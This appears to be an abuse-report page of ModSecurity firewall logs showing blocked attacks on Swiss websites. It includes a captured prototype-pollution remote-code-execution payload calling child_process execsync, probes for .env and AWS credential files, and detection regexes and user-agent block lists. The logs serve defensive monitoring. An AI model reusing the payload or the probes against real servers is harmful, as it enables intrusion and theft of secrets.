[FriOct1617:19:25.6023412026][security2:error][pid358772:tid358871][client14.161.43.148:0]ModSecurit ...
show more[FriOct1617:19:25.6023412026][security2:error][pid358772:tid358871][client14.161.43.148:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"714\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"vetreriaperletti.ch\"][uri\"/xmlrpc.php\"][unique_id\"atJAfapHoC2id1-BPff4qQAAAQo\"]
show less
[FriOct1617:19:24.4284182026][security2:error][pid1346111:tid1346162][client35.240.133.29:0]ModSecur ...
show more[FriOct1617:19:24.4284182026][security2:error][pid1346111:tid1346162][client35.240.133.29:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(\?:/\(\?:\^\|/\)\\\\\\\\.\(env\|git\|svn\|hg\|DS_Store\)\|/\(\?:wp-config\|\\\\\\\\.htaccess\|\\\\\\\\.htpasswd\)\|\\\\\\\\.\(\?:sql\|bak\|old\|log\)\$\)\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"156\"][id\"960720\"][msg\"Forbiddenfileaccessattempt\"][severity\"CRITICAL\"][hostname\"www.schneider-tools.ch.136-243-54-122.cpanel.site\"][uri\"/phpinfo.php.bak\"][unique_id\"atJAfPG4_f2ZsNdkk0TyAAAAAU4\"]
show less
[FriOct1617:16:24.9143642026][security2:error][pid358771:tid358887][client197.186.18.50:0]ModSecurit ...
show more[FriOct1617:16:24.9143642026][security2:error][pid358771:tid358887][client197.186.18.50:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"714\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"annunci-ticino.ch\"][uri\"/xmlrpc.php\"][unique_id\"atI_yDqqaJi3PGSDM4ij_wAAANA\"]
show less
[FriOct1617:16:02.7877792026][security2:error][pid358772:tid358864][client34.97.224.197:0]ModSecurit ...
show more[FriOct1617:16:02.7877792026][security2:error][pid358772:tid358864][client34.97.224.197:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(\(41\*271\)\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echo\$\(\(41\*271\)\)\|base64-w0\).tostring\(\).trim\(\)throwobject.assign\(newerror\(next_redirect\){digest:\`next_redirectpush/login\?a=\${res}307\`}\)_chunks:\$q2_formdata:{get:\$1:constructor:constructor}}}\"][tag\"attack-rce\"][hostname\"www.avvocato.urbani.ch\"][uri\"/\"][unique_id\"atI_sqpHoC2id1-BPff4cQAAAQc\"]
show less
[FriOct1617:14:30.7249312026][security2:error][pid358772:tid358868][client27.255.186.93:0]ModSecurit ...
show more[FriOct1617:14:30.7249312026][security2:error][pid358772:tid358868][client27.255.186.93:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"securityscan\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_rules/20_asl_useragents.conf\"][line\"290\"][id\"330101\"][rev\"1\"][msg\"Atomicorp.comWAFRules:scriptinjectionUserAgentString\"][severity\"CRITICAL\"][hostname\"shadowdrummer.ch\"][uri\"/wp-json/batch/v1\"][unique_id\"atI_VqpHoC2id1-BPff4TwAAAQk\"]
show less
[FriOct1617:12:31.3015582026][security2:error][pid1342703:tid1342847][client2602:80d:1007::33:0]ModS ...
show more[FriOct1617:12:31.3015582026][security2:error][pid1342703:tid1342847][client2602:80d:1007::33:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\bshodan\\\\\\\\b\|\\\\\\\\bcensysinspect\\\\\\\\b\|\\\\\\\\bcensys\\\\\\\\b\|\\\\\\\\bexpanse\\\\\\\\b\|\\\\\\\\bnetsystemsresearch\\\\\\\\b\|\\\\\\\\bnetcraftsurveyagent\\\\\\\\b\)\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_rules/20_asl_useragents.conf\"][line\"73\"][id\"338801\"][rev\"1\"][msg\"Atomicorp.comWAFRules:Blockedinternet-widesurveyorUA\"][severity\"ERROR\"][hostname\"www.esengineering.ch\"][uri\"/\"][unique_id\"atI-349hT45dO8nygBCtpgAAARU\"]
show less
[FriOct1617:11:59.2386162026][security2:error][pid1342699:tid1342778][client190.103.75.194:0]ModSecu ...
show more[FriOct1617:11:59.2386162026][security2:error][pid1342699:tid1342778][client190.103.75.194:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"tourkomanis.ch\"][uri\"/xmlrpc.php\"][unique_id\"atI-vx-hBmJZxbnx_JmEwwAAAEY\"]
show less
[FriOct1617:11:41.8019522026][security2:error][pid358772:tid358875][client2405:4802:1b8f:b930:c910:5 ...
show more[FriOct1617:11:41.8019522026][security2:error][pid358772:tid358875][client2405:4802:1b8f:b930:c910:5d86:dd4:a0fa:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"714\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"urbani.ch\"][uri\"/xmlrpc.php\"][unique_id\"atI-rapHoC2id1-BPff4KAAAAQw\"]
show less
[FriOct1617:11:27.6660452026][security2:error][pid358767:tid358795][client158.179.191.73:0]ModSecuri ...
show more[FriOct1617:11:27.6660452026][security2:error][pid358767:tid358795][client158.179.191.73:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"714\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"annunci-ticino.ch\"][uri\"/xmlrpc.php\"][unique_id\"atI-n00f3wApFa1kGjnICQAAABI\"]
show less
[FriOct1617:11:22.8517132026][security2:error][pid1342689:tid1342720][client2001:ee0:496b:8f30:993a: ...
show more[FriOct1617:11:22.8517132026][security2:error][pid1342689:tid1342720][client2001:ee0:496b:8f30:993a:1466:806:875c:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"titancapital.ch\"][uri\"/xmlrpc.php\"][unique_id\"atI-mmog12mxRTkoZ8U5VQAAAAM\"]
show less
[FriOct1617:11:21.6608512026][security2:error][pid358772:tid358853][client34.153.194.100:0]ModSecuri ...
show more[FriOct1617:11:21.6608512026][security2:error][pid358772:tid358853][client34.153.194.100:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Matchedphrase\".env\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"710\"][id\"960720\"][msg\"Forbiddenfileaccess\"][hostname\"aurumgioielleria.ch.81-17-25-250.cpanel.site\"][uri\"/.env~\"][unique_id\"atI-mapHoC2id1-BPff4JAAAAQE\"]
show less
[FriOct1617:10:51.4016622026][security2:error][pid358772:tid358865][client206.189.42.186:0]ModSecuri ...
show more[FriOct1617:10:51.4016622026][security2:error][pid358772:tid358865][client206.189.42.186:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"python-requests/\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_rules/20_asl_useragents.conf\"][line\"203\"][id\"332039\"][rev\"4\"][msg\"Atomicorp.comWAFRules:SuspiciousUnusualUserAgent\(python-requests\).Disablethisruleifyouusepython-requests/.\"][severity\"CRITICAL\"][hostname\"www.associazione-iris.ch\"][uri\"/license.txt\"][unique_id\"atI-e6pHoC2id1-BPff4DQAAAQg\"]
show less
[FriOct1617:10:13.6442362026][security2:error][pid358772:tid358908][client20.15.145.84:0]ModSecurity ...
show more[FriOct1617:10:13.6442362026][security2:error][pid358772:tid358908][client20.15.145.84:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"whatsdecor.comarcosa.com\"][uri\"/wp-login.php\"][unique_id\"atI-VapHoC2id1-BPff3_QAAARY\"]\,referer:https://whatsdecor.comarcosa.com/wp-login.php
show less
[FriOct1617:10:01.4630402026][security2:error][pid1339385:tid1339486][client34.59.15.171:0]ModSecuri ...
show more[FriOct1617:10:01.4630402026][security2:error][pid1339385:tid1339486][client34.59.15.171:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(\?:/\(\?:\^\|/\)\\\\\\\\.\(env\|git\|svn\|hg\|DS_Store\)\|/\(\?:wp-config\|\\\\\\\\.htaccess\|\\\\\\\\.htpasswd\)\|\\\\\\\\.\(\?:sql\|bak\|old\|log\)\$\)\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"156\"][id\"960720\"][msg\"Forbiddenfileaccessattempt\"][severity\"CRITICAL\"][hostname\"bestrestmaterassi.ch\"][uri\"/.aws/credentials.bak\"][unique_id\"atI-ScnOI0M0krPOL3kwTgAAAZA\"]
show less
[FriOct1617:09:50.8750302026][security2:error][pid1339512:tid1339531][client65.181.113.77:0]ModSecur ...
show more[FriOct1617:09:50.8750302026][security2:error][pid1339512:tid1339531][client65.181.113.77:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"domoticaswiss.ch\"][uri\"/xmlrpc.php\"][unique_id\"atI-Pmh2oxDFX2M3A6Z3vwAAARA\"]
show less
[FriOct1617:07:51.1777002026][security2:error][pid358769:tid358863][client34.50.72.95:0]ModSecurity: ...
show more[FriOct1617:07:51.1777002026][security2:error][pid358769:tid358863][client34.50.72.95:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(\(41\*271\)\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echo\$\(\(41\*271\)\)\|base64-w0\).tostring\(\).trim\(\)throwobject.assign\(newerror\(next_redirect\){digest:\`next_redirectpush/login\?a=\${res}307\`}\)_chunks:\$q2_formdata:{get:\$1:constructor:constructor}}}\"][tag\"attack-rce\"][hostname\"salonesamire.ch\"][uri\"/\"][unique_id\"atI9x1KL4XSy8rW2YZVjyAAAAIU\"]
show less
[FriOct1617:06:18.1165632026][security2:error][pid1339383:tid1339443][client135.236.141.99:0]ModSecu ...
show more[FriOct1617:06:18.1165632026][security2:error][pid1339383:tid1339443][client135.236.141.99:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"mgevents.ch\"][uri\"/wp-login.php\"][unique_id\"atI9auG2gw67Zm33qPRglQAAAEA\"]\,referer:https://mgevents.ch/wp-login.php
show less
[FriOct1617:04:21.1753662026][security2:error][pid1336216:tid1336273][client89.168.155.165:0]ModSecu ...
show more[FriOct1617:04:21.1753662026][security2:error][pid1336216:tid1336273][client89.168.155.165:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"thilyatecnologie.ch\"][uri\"/xmlrpc.php\"][unique_id\"atI89c_AufEVUBdCOwfMKQAAANI\"]
show less
[FriOct1617:03:33.0738532026][security2:error][pid358771:tid358900][client172.245.159.216:0]ModSecur ...
show more[FriOct1617:03:33.0738532026][security2:error][pid358771:tid358900][client172.245.159.216:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"whatsdecor.ch\"][uri\"/wp-content/uploads/2018/11/cropped-Logo-WD-sito-1-180x180.jpg\"][unique_id\"atI8xTqqaJi3PGSDM4ijYAAAANY\"]
show less
[FriOct1617:02:47.2657212026][security2:error][pid358772:tid358897][client130.211.55.221:0]ModSecuri ...
show more[FriOct1617:02:47.2657212026][security2:error][pid358772:tid358897][client130.211.55.221:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Matchedphrase\".env\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"710\"][id\"960720\"][msg\"Forbiddenfileaccess\"][hostname\"autodiscover.hostingedominio.com\"][uri\"/.env.aws\"][unique_id\"atI8l6pHoC2id1-BPff20QAAARI\"]
show less
[FriOct1617:02:40.1530212026][security2:error][pid1336222:tid1336356][client34.175.92.26:0]ModSecuri ...
show more[FriOct1617:02:40.1530212026][security2:error][pid1336222:tid1336356][client34.175.92.26:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(\(41\*271\)\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echo\$\(\(41\*271\)\)\|base64-w0\).tostring\(\).trim\(\)throwobject.assign\(newerror\(next_redirect\){digest:\`next_redirectpush/login\?a=\${res}307\`}\)_chunks:\$q2_formdata:{get:\$1:constructor:constructor}}}\"][tag\"attack-rce\"][hostname\"fondazionepetronillapontirone.ch\"][uri\"/\"][unique_id\"atI8kLdsGA-6WcZVbBv1HwAAAJQ\"]
show less
[FriOct1617:01:07.9255132026][security2:error][pid1336213:tid1336243][client45.61.185.216:0]ModSecur ...
show more[FriOct1617:01:07.9255132026][security2:error][pid1336213:tid1336243][client45.61.185.216:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(curl\|wget\|python\|nikto\|sqlmap\|acunetix\|fimap\|dirbuster\|cmsmap\)\"atREQUEST_HEADERS:user-agent.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"217\"][id\"990210\"][msg\"Suspicioususer-agentblocked\"][hostname\"autoconfig.gmint.ch\"][uri\"/wp-admin/admin-ajax.php\"][unique_id\"atI8M9OCcwmZJBZ57zn50QAAABA\"]
show less
[FriOct1616:59:37.8395972026][security2:error][pid328084:tid328098][client103.72.57.221:0]ModSecurit ...
show more[FriOct1616:59:37.8395972026][security2:error][pid328084:tid328098][client103.72.57.221:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"r102.ch\"][uri\"/wp-login.php\"][unique_id\"atI72Tyd2ge3MoqCAhYSDgAAAAQ\"]\,referer:https://r102.ch/wp-login.php
show less
[FriOct1616:58:58.1136402026][security2:error][pid1330922:tid1331008][client84.44.121.70:0]ModSecuri ...
show more[FriOct1616:58:58.1136402026][security2:error][pid1330922:tid1331008][client84.44.121.70:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"titraslochi.ch\"][uri\"/xmlrpc.php\"][unique_id\"atI7srmGQUKpE18X2i0UtQAAAEY\"]
show less
[FriOct1616:58:50.8885712026][security2:error][pid328087:tid328187][client121.237.36.29:0]ModSecurit ...
show more[FriOct1616:58:50.8885712026][security2:error][pid328087:tid328187][client121.237.36.29:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Matchof\"rx\(MSWebServicesClientProtocol\|WormlyBot\|webauth@cmcm\\\\\\\\.com\)\"against\"REQUEST_HEADERS:User-Agent\"required.[file\"/etc/apache2/conf.d/modsec_rules/20_asl_useragents.conf\"][line\"342\"][id\"397989\"][rev\"1\"][msg\"Atomicorp.comWAFRules:MSIE6.0detected\(DisableifyouwanttoallowMSIE6\)\"][severity\"WARNING\"][hostname\"www.benvenutialfood.ch\"][uri\"/\"][unique_id\"atI7qhNQbIGLLc33u5iUvQAAAM8\"]
show less
HackingWeb App Attack
By clicking โAccept allโ, you agree to the storing of cookies on your device to remember preferences and
analyze site usage.
Read more
- Required to log into your AbuseIPDB account, and store these cookie preferences.